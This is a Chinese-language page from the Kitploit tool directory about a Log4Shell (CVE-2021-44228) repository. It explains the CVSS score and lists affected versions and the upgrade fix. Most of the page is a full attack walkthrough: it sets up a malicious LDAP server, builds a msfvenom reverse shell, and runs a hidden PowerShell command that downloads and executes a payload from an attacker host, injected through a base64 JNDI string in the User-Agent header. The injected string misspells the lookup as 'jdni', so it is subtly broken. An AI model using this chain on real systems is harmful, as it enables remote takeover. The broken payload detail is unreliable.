Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-44228 — Log4Shell (CVE-2021-44228):描述、利用与缓解 | Kitploit
工具/GitHubGitHub/zaneef/cve-2021-44228
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用命令与控制学习与教育
GitHubzaneef/cve-2021-44228

CVE-2021-44228

Log4Shell (CVE-2021-44228):描述、利用与缓解

查看仓库
4年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-44228

2021年12月9日,世界得知了一个关于Log4J的新安全漏洞。该漏洞的CVSSv3(通用漏洞评分系统)评分被评定为10分,因此属于严重级别(https://nvd.nist.gov/vuln/detail/CVE-2021-44228)。

CVSSv3

其CVSSv3向量如下:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H。

我们来澄清一下这些值的含义,以便完全理解该评分的原因:

  • AV:N(攻击向量:网络):攻击向量是网络,因此任何易受攻击的设备都可以从远程被利用。
  • AC:L(攻击复杂性:低):攻击复杂性低,因此即使是对漏洞及其工作原理了解不多或技能较低的攻击者也可以利用。
  • PR:N(所需权限:无):无需在系统内拥有任何权限。
  • UI:N(用户交互:无):即使没有用户的任何交互,系统也存在漏洞。
  • S:C(范围:已改变)
  • C:H(机密性:高):机器内信息的机密性完全受损。这导致数据完全失去保密性并将其泄露给攻击者。
  • I:H(完整性:高):机器中所含信息的完整性完全受损。攻击者可以修改或删除任何文件。
  • A:H(可用性:高):攻击者能够完全拒绝访问机器上的信息或服务。

什么是Log4J?

Log4J是一个Java库,现为Apache软件基金会项目的一部分,用于监控应用程序的状态。

它是Java应用程序日志记录的事实标准。

它是如何工作的?

该漏洞基于JNDI(Java命名和目录接口):这是一个Java API,允许应用程序与外部目录服务(例如LDAP)进行交互。

交互通过JNDI的查找功能进行,该功能在Log4J的默认配置中启用,允许与远程服务器进行交互。

通过Log4J漏洞利用实现TCP反向Shell

一些有助于阅读的小说明:

  • 攻击者机器的IP是 10.0.0.1
  • 易受Log4Shell攻击的机器的IP是 10.0.0.2
  • 易受攻击机器的操作系统是Windows,架构为x86
  • 易受攻击的机器在80端口上运行着一个Web应用程序,可通过URL http://hackme.com访问
❗ 注意 ❗
以下描述的攻击技术仅用于理解所涉漏洞的实际危险性。作者对以下文章的任何不当使用概不负责,并予以谴责。

以下攻击的目标是利用Log4Shell在易受攻击的系统上下载并执行反向Shell,从而获得对它的完全控制。

1. 攻击者机器配置

  1. 我们下载包含初始化恶意LDAP服务器所需代码的仓库
root@kitploit:~
wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 10.0.0.1 -p 2222
  1. 我们通过msfvenom为Windows创建一个TCP反向Shell,以便在8888端口接收对机器的远程访问
root@kitploit:~
msfvenom -p windows/shell/reverse_tcp LHOST=10.0.0.1 LPORT=8888 -f exe > payload.exe
  1. 我们通过nc在8888端口初始化一个监听器,以接收从易受攻击机器上加载的反向Shell发来的连接
root@kitploit:~
nc -lvnp 8888
  1. 我们运行一个HTTP服务器,以允许目标机器下载恶意软件:
root@kitploit:~
python3 -m http.server 4444
  1. 通过以下Powershell命令,攻击者将能够连接到自己的HTTP服务器,将恶意软件下载到C:\windows\temp目录并执行它
root@kitploit:~
powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")
  1. 我们通过以下命令对之前的payload进行base64编码
root@kitploit:~
echo 'powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")' | base64

上述命令的结果如下:

root@kitploit:~
cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=

2. 漏洞利用

  1. 假设Web应用程序会记录访问者的User-Agent。攻击者发送类似以下的请求:
root@kitploit:~
GET / HTTP/1.1
Host: hackme.com
User-Agent: ${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}
  1. 该字符串
root@kitploit:~
${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}

会被传递给Log4J,Log4J解析它,并通过JNDI向攻击者的LDAP服务器发出请求

root@kitploit:~
ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=
  1. 恶意软件被下载并执行。

  2. 攻击者在8888端口获得该机器的一个Shell。

我是否容易受到攻击?

首先必须记住,这是一个仅影响使用Java或某些衍生技术(当然还有作为日志记录库的Log4J)的软件的漏洞。

  • 2.0-beta9 - 2.14.1:易受Log4Shell攻击的版本范围为2.0-beta9到2.14.1。
  • 2.15.0:Log4J的2.15.0版本被发现存在漏洞。CVE-2021-45046。目前该漏洞的评分为“9.0 Critical”。
  • 2.16.0:Log4J的2.16.0版本被发现存在漏洞。CVE-2021-45105。目前该漏洞的评分为“7.5 High”。

Log4J的1.x版本并不严格受所述安全漏洞的影响,但除了在2015年已被弃用外,它还受以下漏洞影响:CVE-2021-4104。

我该如何修复?

最好的解决方案是将Log4J升级到2.17.0版本。

下载工具